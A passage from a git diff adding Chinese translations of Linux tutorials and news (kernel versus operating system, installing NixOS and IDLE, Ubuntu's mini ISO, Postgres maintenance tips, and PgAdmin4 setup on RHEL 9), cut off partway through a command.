+> Linux 只是一个内核。 + +这让你感到好奇。它是个内核?还是个操作系统?两者之间有什么区别? + +我将在本文中回答这些问题。 + +### Linux 是操作系统还是内核? + +好吧,**从技术上讲,Linux 只是一个内核**,而不是一个操作系统。但是,术语 “Linux” 通常是指一个完整的操作系统,它包括一个 交互界面Shell(例如:bash)和命令行和/或 GUI 工具来控制系统。这个完整的操作系统的正确叫法是 “Linux 发行版”。流行的 Linux 发行版有 Ubuntu、Red Hat 和 Debian。 + +早在 1991 年,Linus Torvalds 创建的只是一个内核。直到今天,他也在为 Linux 内核工作。他不再编写代码,而是监督哪些代码进入内核。 + +### 内核?什么东西? + +内核是每个操作系统的中心。不仅仅是 Linux,Windows 和 macOS 也有内核。 + +将内核想象成操作系统的心脏。没有心脏,你就无法生存。没有内核,操作系统就无法存在。 + +但是,就像心脏需要一个身体来生存一样,内核需要其他人们可以在计算机上使用的程序和工具来构成一个完整的操作系统。 + +这是一个操作系统的典型架构: + +![][1] + +在中心的内核与硬件交互。在它之上是与内核交互的 交互界面Shell。然后你有应用程序、命令行和图形界面,为你提供使用系统的各种方式。 + +### 内核是引擎,操作系统是汽车 + +一个更好的类比是将内核想象成汽车的引擎,而操作系统则是汽车。 + +你不可能驾驶一个引擎,但是如果没有引擎,你也不能驾驶一辆汽车。你需要轮胎、转向机和其他组件才能将其变成一辆可以驾驶的汽车。 + +相似地,你不能直接使用内核。你需要 交互界面Shell,其他工具和组件才能使用操作系统。 + +![][2] + +### Linux 对比 GNU/Linux + +在类似的地方,你也会看到例如 “Linux 只是一个内核,[你所说的 Linux 实际上是 GNU/Linux][5]” 的陈述。 + +在 Linus Torvalds 在 1991 年创建 Linux 之前,Richard Stallman 就创建了自由软件运动Free Software movement和 GNU 项目。GNU 项目包括对流行的 UNIX 工具和命令的重新实现,例如 `ls`、`grep`、`sed` 等。 + +通常,你的 Linux 发行版会在 Linux 内核之上包含所有这些 GNU 工具。 + +这就是为什么纯粹主义者坚持称之为 GNU/Linux,以便人们不要忘记 GNU 对 Linux 成功的贡献和重要性。 + +### 最后…… + +**所以,如果你在面试或者考试中被问到这个问题,回答 “Linux 是一个内核,而不是一个操作系统”。这是你的老师或面试官在大多数情况下想要的答案。** + +但是更深入一点,理解内核和操作系统之间的区别。 + +如果有人说:“我使用 Linux”,你就会明白这个人是指 Linux 发行版,而不仅仅是内核。诚然,没有必要用 “Linux 只是一个内核,而不是一个操作系统” 来纠正别人。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/linux-kernel-os/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed/ +[1]: https://itsfoss.com/content/images/2023/02/image-6.png +[2]: https://itsfoss.com/content/images/2023/02/image-7.png +[3]: https://itsfoss.com/content/images/size/w256h256/2022/12/android-chrome-192x192.png +[4]: https://itsfoss.com/content/images/wordpress/2020/03/too-many-linux-choices.png +[5]: https://itsfoss.com/gnu-linux-copypasta/ +[0]: https://img.linux.net.cn/data/attachment/album/202303/04/085224mw1qoq5kaukqzxmz.jpg \ No newline at end of file diff --git a/published/20230227.0 ⭐️⭐️ NixOS Series 2 How to Install NixOS on a Virtual Machine.md b/published/20230227.0 ⭐️⭐️ NixOS Series 2 How to Install NixOS on a Virtual Machine.md new file mode 100644 index 0000000000..a2a1c8d4c7 --- /dev/null +++ b/published/20230227.0 ⭐️⭐️ NixOS Series 2 How to Install NixOS on a Virtual Machine.md @@ -0,0 +1,249 @@ +[#]: subject: "NixOS Series #2: How to Install NixOS on a Virtual Machine?" +[#]: via: "https://itsfoss.com/install-nixos-vm/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15624-1.html" + +NixOS 系列 #2:如何在虚拟机上安装 NixOS? +====== + +如果你可以在任何 Linux 发行版上使用 Nix 包管理器,为什么还要安装 NixOS? + +在使用 NixOS 几天之前,我经常想知道同样的事情。 + +当我意识到这些好处后,我就写了这篇文章来帮助你了解 [为什么你要考虑使用 NixOS][1]。如果你已经阅读了本系列的第一篇文章,那么你已经知道自己想要什么了。 + +那么,如何开始呢?考虑到它对许多人来说可能是一种新体验,你应该用它替换日常使用的系统还是将其安装为虚拟机? + +我建议在你想要将其替换为你的主要操作系统之前在虚拟机上使用 NixOS。这适用于你想尝试的任何新事物,特别是 [先进的 Linux 发行版][2],例如 NixOS。 + +### 使用 VirtualBox 在 VM 中安装 NixOS + +在本教程中,我将使用 VirtualBox。 + +如果你使用的是 Ubuntu 并且不关心是否拥有最新版本,那么可以使用一个命令安装 VirtualBox: + +``` +sudo apt install virtualbox +``` + +想要安装最新版本?你可以参考下面的指南: + +> **[如何在 Ubuntu 上安装 VirtualBox(初学者教程)][24]** + +如果你使用 Ubuntu 以外的任何发行版,你可以 [按照其官方下载页面的下载说明进行操作][3]。 + +成功安装 VirtualBox 后,让我们从第一步开始。 + +#### 步骤 1:获 取NixOS 的 ISO 镜像 + +你需要前往 NixOS [官方下载页面][4]。 + +在 “NixOS: the Linux distribution” 部分,你会找到带有 GNOME 和 KDE 桌面的 ISO。 + +当然,也有最小化 ISO,但我建议使用两者之一(GNOME 和 KDE): + +![下载 NixOS ISO 文件][5] + +对于本教程,我将使用 GNOME。 + +请记住,你可以选择 GNOME 和 KDE 两种立付桌面环境Live Desktop。 + +而在安装过程中,你可以选择自己喜欢的桌面环境,包括 **Xfce、Pantheon、Cinnamon、MATE** 等等! + +#### 步骤 2:在 VirtualBox 中创建虚拟机 + +打开 VirtualBox 并单击 “新建New” 按钮添加新的虚拟机: + +![截图显示了如何点击新建按钮来添加新的虚拟机][6] + +它将打开一个提示,要求你添加有关要添加的虚拟机的信息。 + +你可以先命名虚拟机: + +- 为你的虚拟机命名,以便你可以识别它是 NixOS 系统。所以我将其命名为 “NixOS”。 +- 选择你刚刚下载的 ISO 镜像。 +- 选择 “Linux” ISO 类型。 +- 并在版本选择 “其它 Linux(64 位)Other Linux (64-bit)”。 + +![][7] + +选择所有内容后,单击 “下一步Next” 按钮。 + +接下来,系统会要求你选择基本内存(RAM)、要分配给此虚拟机的处理器以及存储空间。 + +虽然 NixOS 没有提到官方要求,但我建议你为此安装至少拥有 **4GB RAM**、**2-4 个处理器内核**和 **30GB 空间**: + +![选择 NixOS 虚拟机的硬件][8] + +最后,它会显示你为此虚拟机所做选择的摘要: + +![NixOS 虚拟机 安装摘要][9] + +如果一切正常,请单击 “完成Finish” 按钮,它将为你创建一个 NixOS 虚拟机。 + +#### 步骤 3:安装 NixOS + +创建完虚拟机后,你为 NixOS 虚拟机指定的名称应该显示在 VirtualBox 的虚拟机列表中。 + +选择 “NixOS” 虚拟机并单击“开始”按钮: + +![开始 NixOS 虚拟机][10] + +它将启动 NixOS 立付桌面环境Live Desktop,以便你可以试用 Linux 发行版。 + +##### 选择安装语言 + +启动进入 NixOS 后,安装程序将启动并要求你设置安装程序的首选语言: + +![选择安装时的首选语言][11] + +##### 选择地区和时区 + +接下来,选择你所在的地区和区域。如果你不知道这一点,你可以从地图上选择你的国家,它会为你设置。 + +选择区域和区域后,它还会选择系统的首选语言、数字和日期区域设置。 + +当然,你可以根据需要进行更改,但对于大多数用户而言,选定的选项就可以正常工作: + +![选择地区和时区][12] + +##### 选择键盘布局 + +接下来,你将必须设置键盘布局。对于大多数用户来说,默认设置的 “English (US)” 应该可以正常工作。 + +如果你要进行其他操作,则可以在继续之前测试你的键盘配置。 + +![选择键盘格式][13] + +之后,系统会要求你创建一个用户并为该用户设置密码。 + +你可以选择为虚拟机保留一个强密码或任何随机密码。 + +![创建用户][14] + +##### 选择你喜欢的桌面环境 + +使用 NixOS,你可以选择以下桌面环境: + +- GNOME +- KDE(定制的最佳选择) +- Xfce +- Pantheon(ElementaryOS 附带的桌面环境) +- Cinnamon +- Enlightenment +- LXQt + +![选择桌面环境][15] + +##### 在 NixOS 上使用非自由软件 + +NixOS 遵循与 Fedora 类似的方法,你必须选择是否需要非自由软件。 + +我建议你启用非自由包: + +![启用非自由软件包][16] + +##### 分区部分 + +由于这是一个虚拟机指南,我建议你使用自动对磁盘进行分区的 “擦除磁盘Erase disk” 选项! + +![自动分区][17] + +完成后,它将为你提供你所做选择的摘要: + +![安装选择摘要][18] + +如果一切正常,请单击 “安装Install” 按钮,它将开始安装。 + +##### 不要重启而是关闭虚拟机 + +安装完成后,你可以选择重新启动虚拟机。 + +如果你这样做,**它将再次加载安装程序**! + +要解决此问题,你必须更改引导顺序。 + +为此,请在安装完成后关闭虚拟机。 + +要关闭虚拟机,请从“文件File”菜单中选择 “关闭Close” 选项,然后选择 “关闭虚拟机电源Power off the machine” 选项: + +![][19] + +##### 更改 VirtualBox 中的启动顺序 + +要更改 NixOS 虚拟机 中的启动顺序,请打开该虚拟机的设置: + +![][20] + +在设置中,选择 “系统System”,你将找到启动顺序。 + +在这里,选择 “硬盘Hard Disk” 并使用选项旁边的**向上箭头**图标并将其设为启动的第一个选项: + +![改变启动顺序][21] + +按下 “确定OK”,它将保存你所做的更改。 + +**或者**,你可以移除我们添加的用于启动安装的光盘(ISO 镜像)。 + +#### 步骤 4:从 NixOS 安装启动 + +现在,启动你的 NixOS 虚拟机,你将看到一个 GRUB 屏幕: + +![NixOS grub][22] + +选择默认选项,它将带你进入带有 GNOME 桌面的全新 NixOS 安装。 + +![运行 NixOS][23] + +就是这些了!**请继续探索 NixOS!** + +### 总结 + +这是关于如何在 VirtualBox 上安装 NixOS 的快速指南。 + +对于 NixOS 教程系列的下一部分,我将分享有关**安装和删除包**的建议。 + +💬 _敬请期待本系列的下一部分。在那之前,请随时分享你对 NixOS 的看法或在遵循指南时遇到任何问题!_ + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-nixos-vm/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed/ +[1]: https://linux.cn/article-15606-1.html +[2]: https://itsfoss.com/advanced-linux-distros/ +[3]: https://www.virtualbox.org/wiki/Linux_Downloads +[4]: https://nixos.org/download.html +[5]: https://itsfoss.com/content/images/2023/02/Download-NixOS-ISO-file.png +[6]: https://itsfoss.com/content/images/2023/02/click-on-new-to-add-new-virtual-machine.png +[7]: https://itsfoss.com/content/images/2023/02/Add-NixOS-ISO-to-VirtualBox.png +[8]: https://itsfoss.com/content/images/2023/02/select-hardware-for-NixOS-VM-1.png +[9]: https://itsfoss.com/content/images/2023/02/summery-of-NixOS-VM-install.png +[10]: https://itsfoss.com/content/images/2023/02/start-the-NixOS-VM.png +[11]: https://itsfoss.com/content/images/2023/02/1.-choose-the-language-of-NixOS-installer.png +[12]: https://itsfoss.com/content/images/2023/02/2.-choose-the-region-and-zone-for-NixOS.png +[13]: https://itsfoss.com/content/images/2023/02/3.-select-Keyboard-layout-for-NixOS.png +[14]: https://itsfoss.com/content/images/2023/02/4.-create-user-and-set-password-for-NixOS.png +[15]: https://itsfoss.com/content/images/2023/02/5.-choose-desktop-environment-for-NixOS.png +[16]: https://itsfoss.com/content/images/2023/02/6.-Allow-unfree-software.png +[17]: https://itsfoss.com/content/images/2023/02/7.-select-erase-disk-option-while-installing-NixOS.png +[18]: https://itsfoss.com/content/images/2023/02/8.-summery-of-NixOS-installation-options-in-VM.png +[19]: https://itsfoss.com/content/images/2023/02/poweroff-VM.png +[20]: https://itsfoss.com/content/images/2023/02/open-settings-for-VM-in-VirtualBox.png +[21]: https://itsfoss.com/content/images/2023/02/how-to-change-the-boot-order-in-VirtualBox.gif +[22]: https://itsfoss.com/content/images/2023/02/NixOS-grub-screen.png +[23]: https://itsfoss.com/content/images/2023/02/running-NixOS-in-VM.png +[24]: https://itsfoss.com/install-virtualbox-ubuntu/ +[0]: https://img.linux.net.cn/data/attachment/album/202303/14/154007dt8ucpf8co9o9otf.jpg \ No newline at end of file diff --git a/published/20230228.0 ⭐️ How to Install IDLE Python IDE in Ubuntu and Other Linux.md b/published/20230228.0 ⭐️ How to Install IDLE Python IDE in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..51ce9b7434 --- /dev/null +++ b/published/20230228.0 ⭐️ How to Install IDLE Python IDE in Ubuntu and Other Linux.md @@ -0,0 +1,114 @@ +[#]: subject: "How to Install IDLE Python IDE in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/install-idle-ubuntu-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15622-1.html" + +如何在 Ubuntu 和其他 Linux 下安装 IDLE Python IDE +====== + +![][0] + +> 在 Ubuntu 和其他发行版中,Python 的默认 IDE IDLE 没有被默认安装。在本指南中了解如何安装它。 + +IDLE(集成开发学习环境**I**ntegrated **D**evelopment and **L**earning **E**nvironment)是一个 [Python IDE][1],由 Python 语言本身编写,在 Windows 中通常作为 [Python 安装][2] 的一部分而安装。它是初学者的理想选择,使用起来很简单。对于那些正在学习 Python 的人,比如学生,它可以作为一个很好的 IDE 来开始使用。 + +语法高亮、智能识别和自动补全等基本功能是这个 IDE 的一些特点。你可以随时在官方 [文档][3] 中了解更多关于 IDLE 的功能。 + +### Ubuntu 和其他 Linux 中的 IDLE + +所有的 Linux 发行版,包括 Ubuntu,都预装了 Python。即使你手动升级或安装了 Python 版本,IDLE IDE 也不会自带安装。你必须手动安装它。 + +对于 **Debian、Ubuntu、Linux Mint 和相关发行版**,打开终端,运行以下命令来安装 IDLE: + +``` +sudo apt update +``` + +``` +sudo apt install idle3 +``` + +当命令询问你是否要安装 IDLE 时,输入 `Yes`。命令完成后,IDLE 将被安装在你的 Ubuntu 系统中。 + +对于 **Fedora、RHEL、CentOS**,使用下面的命令来安装它: + +``` +sudo dnf update +``` + +``` +sudo dnf install idle3 +``` + +**Arch Linux** 用户可以使用以下命令进行安装: + +``` +sudo pacman -S python tk +``` + +![IDLE 在 Ubuntu 的安装和运行][4] + +### 启动 IDLE 并编写一个测试程序 + +在 Ubuntu、Debian、Linux Mint 和 Fedora 中安装后,你可以在应用菜单中找到 IDLE 的图标。见下图: + +![应用菜单中的 IDLE 图标][5] + +如果你使用的是 Arch Linux,你需要在命令行中运行以下内容来启动 IDLE: + +``` +idle +``` + +启动 IDLE 后,你应该看到主窗口,如下图所示: + +![IDLE 编辑器主窗口][6] + +默认情况下,它会显示一个 交互界面Shell,你可以直接在每一行中执行 Python 代码。它的工作方式和任何 Shell 解释器一样。而当你点击回车键时,你会得到输出,还有三个 `>` 符号进入下一行,执行下一个命令。 + +![在 IDLE 中运行一个简单的 Python 语句][7] + +IDLE 也允许你从它的文件菜单中打开任何 .py 文件。它将在一个单独的窗口中打开该文件,在那里你可以进行修改并直接运行它。你可以使用 `F5` 或者从选项 “运行Run > 运行模块Run Module” 来运行。 + +![从 IDLE 中打开的一个 Python 文件][8] + +![使用菜单运行该文件的选项][9] + +输出会显示在一个单独的输出窗口中。在输出窗口中,你可以开始调试,进入一行或文件,查看堆栈跟踪和其他选项。 + +![输出显示在 IDLE 的一个单独的输出窗口中][10] + +### 总结 + +现在你学会了如何在 Ubuntu 和其他发行版中安装 IDLE IDE,以及如何运行一条语句或一个 Python 程序。对于初学者来说,IDLE 是一个很好的起点,在进入更复杂的 IDE 之前,可以先掌握基础知识。 + +我希望这篇指南对你的 Python 之旅有所帮助。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-idle-ubuntu-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed/ +[1]: https://www.debugpoint.com/5-best-python-ide-code-editor/ +[2]: https://www.debugpoint.com/install-python-windows/ +[3]: https://docs.python.org/3/library/idle.html +[4]: https://www.debugpoint.com/wp-content/uploads/2023/02/IDLE-install-and-run-in-Ubuntu.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2023/02/IDLE-icon-in-the-application-menu.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2023/02/IDLE-editor-main-window.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2023/02/Running-a-simple-Python-statement-in-IDLE.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2023/02/A-python-file-opened-from-IDLE.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2023/02/Option-to-Run-the-file-using-menu.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2023/02/Output-is-shown-in-a-separate-output-window-of-IDLE.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202303/12/232046d7j0203ilosu986r.jpg \ No newline at end of file diff --git a/published/20230228.1 ⭐️ Ubuntu Plans for Mini ISO Images for Minimal Desktop Workloads.md b/published/20230228.1 ⭐️ Ubuntu Plans for Mini ISO Images for Minimal Desktop Workloads.md new file mode 100644 index 0000000000..6a3d3f3fb5 --- /dev/null +++ b/published/20230228.1 ⭐️ Ubuntu Plans for Mini ISO Images for Minimal Desktop Workloads.md @@ -0,0 +1,59 @@ +[#]: subject: "Ubuntu Plans for Mini ISO Images for Minimal Desktop Workloads" +[#]: via: "https://debugpointnews.com/ubuntu-mini-iso-announcement/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15588-1.html" + +Ubuntu 计划为精简桌面环境提供 ISO 镜像 +====== + +![][1] + +> Canonical 正在为 Ubuntu 23.04 “Lunar Lobster” 开发一个新的精简 Ubuntu ISO 镜像。 + +在回答一位 Ubuntu 用户提出的关于精简 Ubuntu ISO 镜像的可能性的问题时,开发者确认正在开发一个官方的精简 ISO 镜像(小于 200MB)。上述工作已经在进行中,并取得了很大的进展。计划为即将发布的 Ubuntu 23.04 “Lunar Lobster” 引入一个替代性的精简安装程序。 + +### Ubuntu 桌面的精简 ISO 镜像 + +Canonical/Ubuntu 从未正式支持过任何精简 ISO 镜像。在 Ubuntu 18.04 时代,遗留有一些非官方的 Ubuntu 精简 ISO 镜像,但它们都已经停产了。考虑到 Ubuntu Linux 的受欢迎程度,没有提供精简安装程序对一些人来说是个问题。 + +虽然有 Ubuntu 服务器镜像和 [云镜像][2],但它们对于你的桌面使用情况来说,设置起来有点复杂。 + +例如,如果你想创建一个只有 GNOME 会话和基本功能的精简 Ubuntu 桌面,而不使用官方桌面安装程序,你只有一个选择:你需要安装 Ubuntu 服务器版作为基础,然后开始建立一个没有服务器组件的桌面。 + +虽然,Debian 已经提供了精简 ISO(即 netinst),它很容易使用,并且可以在任何程度上进行定制。但是,有一个类似于官方 Ubuntu 桌面定制版是一个好主意,可以根据需要建立你的系统(没有 Snap 或其他项目)。 + +根据邮件列表中的对话,ubuntu-mini-iso 的大小为 140MB,它需要通过网络下载几个软件包。它将提示你要下载的菜单项目。我猜它将类似于 Ubuntu 服务器版的菜单。 + +![Ubuntu server install menu][3] + +同样,Ubuntu 的所有官方版本都可能有一个精简版本。然而,我不确定当你包括一个桌面环境时,它将如何精简。Xubuntu 的开发者 Sean Davis [宣布][4],一个精简版的 Xubuntu 镜像已经在开发中,并且可以作为 [日常构建版][5] 下载。 + +所以,总的来说,这是 Canonical 的一个令人兴奋的举动。如果一切顺利的话,你实际上可以使用这个 ISO 构建你自己的 Ubuntu。你可以只添加 GNOME 桌面、删除 Snap、从 Debian 软件库中安装 Firefox,并添加任何你想要的软件包。这将是一个不错的精简版 Ubuntu 桌面。 + +Ubuntu 23.04 BETA 计划于 2023 年 3 月 30 日发布;最终版本预计于 2023 年 4 月 20 日发布。那时候你就可以试试 minimal-ubuntu-iso 了。 + +参考自 [邮件列表][6]。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/ubuntu-mini-iso-announcement/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed/ +[1]: https://debugpointnews.com/wp-content/uploads/2023/02/min-iso1.jpg +[2]: https://cloud-images.ubuntu.com/minimal/releases/kinetic/release-20221022/ +[3]: https://debugpointnews.com/wp-content/uploads/2023/02/Ubuntu-server-install-menu.jpg +[4]: https://floss.social/@bluesabre/109939104067417830 +[5]: https://cdimage.ubuntu.com/xubuntu/daily-live/current/ +[6]: https://lists.ubuntu.com/archives/ubuntu-devel/2023-February/042490.html \ No newline at end of file diff --git a/published/20230228.2 ⭐️ 3 tips to manage large Postgres databases.md b/published/20230228.2 ⭐️ 3 tips to manage large Postgres databases.md new file mode 100644 index 0000000000..1332a7afa1 --- /dev/null +++ b/published/20230228.2 ⭐️ 3 tips to manage large Postgres databases.md @@ -0,0 +1,102 @@ +[#]: subject: "3 tips to manage large Postgres databases" +[#]: via: "https://opensource.com/article/23/2/manage-large-postgres-databases" +[#]: author: "Elizabeth Garrett Christensen https://opensource.com/users/elizabethchristensencrunchydatacom" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15601-1.html" + +管理大型 Postgres 数据库的 3 个技巧 +====== + +![][0] + +> 在处理庞大的数据库时,请尝试这些方便的解决方案,以解决常见的问题。 + +关系型数据库 PostgreSQL(也被称为 Postgres)已经越来越流行,全球各地的企业和公共部门都在使用它。随着这种广泛的采用,数据库已经变得比以前更大了。在 Crunchy Data,我们经常与 20TB 以上的数据库打交道,而且我们现有的数据库还在继续增长。我的同事 David Christensen 和我收集了一些关于管理拥有巨大表的数据库的技巧。 + +### 大表 + +生产数据库通常由许多具有不同数据、大小和模式的表组成。常见的情况是,最终有一个巨大的、无序的数据库表,远远大于你数据库中的任何其他表。这个表经常存储活动日志或有时间戳的事件,而且对你的应用或用户来说是必要的。 + +真正的大表会因为很多原因造成挑战,但一个常见的原因是锁。对表的定期维护往往需要锁,但对大表的锁可能会使你的应用瘫痪,或导致堵塞和许多令人头痛的问题。我有一些做基本维护的技巧,比如添加列或索引,同时避免长期运行的锁。 + +**添加索引的问题**:在创建索引的过程中锁住表。如果你有一个庞大的表,这可能需要几个小时。 + +``` +CREATE INDEX ON customers (last_name) +``` + +**方案**:使用 `CREATE INDEX CONCURRENTLY` 功能。这种方法将索引创建分成两部分,一部分是短暂的锁定,以创建索引,立即开始跟踪变化,但尽量减少应用阻塞,然后是完全建立该索引,之后查询可以开始使用它。 + +``` +CREATE INDEX CONCURRENTLY ON customers (last_name) +``` + +### 添加列 + +在数据库的使用过程中,添加列是一个常见的请求,但是对于一个巨大的表来说,这可能是很棘手的,同样是由于锁的问题。 + +**问题**:当你添加一个新的默认值为一个函数的列时,Postgres 需要重写表。对于大表,这可能需要几个小时。 + +**方案**:将操作拆分为多条基本语句,总效果一致,但控制锁的时间。 + +添加列: + +``` +ALTER TABLE all_my_exes ADD COLUMN location text +``` + +添加默认值: + +``` +ALTER TABLE all_my_exes ALTER COLUMN location SET DEFAULT texas() +``` + +使用 `UPDATE` 来添加默认值: + +``` +UPDATE all_my_exes SET location = DEFAULT +``` + +### 添加约束条件 + +**问题**: 你想添加一个用于数据验证的检查约束。但是如果你使用直接的方法来添加约束,它将锁定表,同时验证表中的所有现有数据。另外,如果在验证的任何时候出现错误,它将回滚。 + +``` +ALTER TABLE favorite_bands ADD CONSTRAINT name_check CHECK (name = 'Led Zeppelin') +``` + +**方案**:告诉 Postgres 这个约束,但不要验证它。在第二步中进行验证。这将在第一步中进行短暂的锁定,确保所有新的/修改过的行都符合约束条件,然后在另一步骤中进行验证,以确认所有现有的数据都通过约束条件。 + +告诉 Postgres 这个约束,但不要强制执行它: + +``` +ALTER TABLE favorite_bands ADD CONSTRAINT name_check CHECK (name = 'Led Zeppelin') NOT VALID +``` + +然后在创建后**验证**它: + +``` +ALTER TABLE favorite_bands VALIDATE CONSTRAINT name_check +``` + +### 想了解更多? + +David Christensen 和我将在 3 月 9 号到 10 到在加州帕萨迪纳参加 SCaLE 的 Postgres Days。很多来自 Postgres 社区的优秀人士也会在那里。加入我们吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/manage-large-postgres-databases + +作者:[Elizabeth Garrett Christensen][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/elizabethchristensencrunchydatacom +[b]: https://github.com/lkxed/ +[0]: https://img.linux.net.cn/data/attachment/album/202303/06/113049bkunsxun1clzuca8.jpg \ No newline at end of file diff --git a/published/20230301.0 ⭐️ How to Install PgAdmin4 on RHEL 9 Step by Step.md b/published/20230301.0 ⭐️ How to Install PgAdmin4 on RHEL 9 Step by Step.md new file mode 100644 index 0000000000..74398a0a84 --- /dev/null +++ b/published/20230301.0 ⭐️ How to Install PgAdmin4 on RHEL 9 Step by Step.md @@ -0,0 +1,201 @@ +[#]: subject: "How to Install PgAdmin4 on RHEL 9 Step by Step" +[#]: via: "https://www.linuxtechi.com/how-to-install-pgadmin-on-rhel/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15618-1.html" + +如何在 RHEL 9 上分步安装 PgAdmin4 +====== + +![][0] + +PgAdmin4 是一个自由开源的基于网络的 PostgreSQL 管理和开发平台。它可以与本地或远程的服务器上的 PostgreSQL 数据库服务器进行交互,并使用直观的交互式仪表板显示服务器的统计数据。 + +PgAdmin4 是对 PgAdmin3 的重写,提供了以下显著的功能: + +- 具有直观的实时监控仪表盘的响应式 Web UI。 +- 改进的 Web 界面,具有很酷的新面板和图标。 +- 带有语法高亮的 SQL 查询编辑器。 +- 全面的文档。 +- 帮助你入门的有用提示。 + +在本指南中,我们将演示如何在 RHEL 9 上安装 PgAdmin4。 + +### 先决条件 + +在开始之前,确保你有一台 RHEL 9 服务器实例并安装了 PostgreSQL 数据库。请查看如何在 RHEL 9 上 [安装 PostgreSQL 15][13] 的指南。 + +在安装了 PostgreSQL 服务器后,继续执行以下步骤。 + +### 步骤 1)在 RHEL 9 上添加 PgAdmin4 仓库 + +第一步是在 RHEL 9 上添加 PgAdmin4 仓库。但首先要安装 EPEL 仓库,它提供了基本的软件包。 + +``` +$ sudo dnf install https://dl.fedoraproject.org/pub/epel/epel-release-latest-9.noarch.rpm +``` + +接下来,安装 PgAdmin4 仓库,如下所示: + +``` +$ sudo dnf install -y https://ftp.postgresql.org/pub/pgadmin/pgadmin4/yum/pgadmin4-redhat-repo-2-1.noarch.rpm +``` + +完成后,为 PgAdmin4 和 EPEL 仓库建立一个缓存,如下所示: + +``` +$ sudo dnf makecache +``` + +### 步骤 2)在 RHEL 9 上安装 PgAdmin4 + +安装好 PgAdmin4 和 EPEL 仓库后,继续使用 DNF 包管理器安装 PgAdmin4,如下所示: + +``` +$ sudo dnf install pgadmin4 -y +``` + +这将安装许多软件包,包括 PgAdmin4、Apache HTTP web 服务器和 Python 软件包,仅举几例: + +![][1] + +要确认 PgAdmin4 是否已经安装,请运行以下命令: + +``` +$ rpm -qi pgadmin4 +``` + +这将打印出相当多的信息,包括已安装软件包的名称、版本、发行和架构。 + +![][2] + +### 步骤 3)在 RHEL 9 上启动/启用 PgAdmin4 + +此时,PgAdmin4 已成功安装。然而,你需要更进一步,让它运行起来。要启动 PgAdmin4 服务,请运行以下命令: + +``` +$ sudo systemctl start httpd +``` + +还要确保每次系统启动时都能启动该服务。 + +``` +$ sudo systemctl enable httpd +``` + +要确认 PgAdmin4 正在运行,请执行以下命令: + +``` +$ sudo systemctl status httpd +``` + +![][3] + +### 步骤 4)在 RHEL 9 上初始化 PgAdmin4 + +PgAdmin4 软件包提供了一个可配置的脚本来设置 PgAdmin 网络服务。这允许你创建一个用户账户,用来验证和配置 SELinux 策略和 Apache Web 服务器。 + +因此,如下运行该脚本: + +``` +$ sudo /usr/pgadmin4/bin/setup-web.sh +``` + +提供你将在登录页面上作为登录凭证使用的电子邮件和密码。 + +注意:有时,你可能会遇到如下 “semanage: command not found” 的错误。这表明缺少 `semanage` 包。 + +![][4] + +Semanage 是 SELinux(安全增强型 Linux)策略管理工具的简称,是一个用于配置 SELinux 策略某些方面的工具,不需要对策略源进行修改或重新编译。 + +为了解决这个错误,你需要检查提供 `semanage` 的软件包。你可以通过运行以下命令来完成: + +``` +$ sudo dnf provides /usr/sbin/semanage +``` + +从输出中,你可以看到 `semanage` 是由 `policycoreutils-python-utils-3.3-6.el9_0.noarch` 包提供的。 + +![][5] + +要安装这个软件包,请运行以下命令: + +``` +$ sudo dnf install 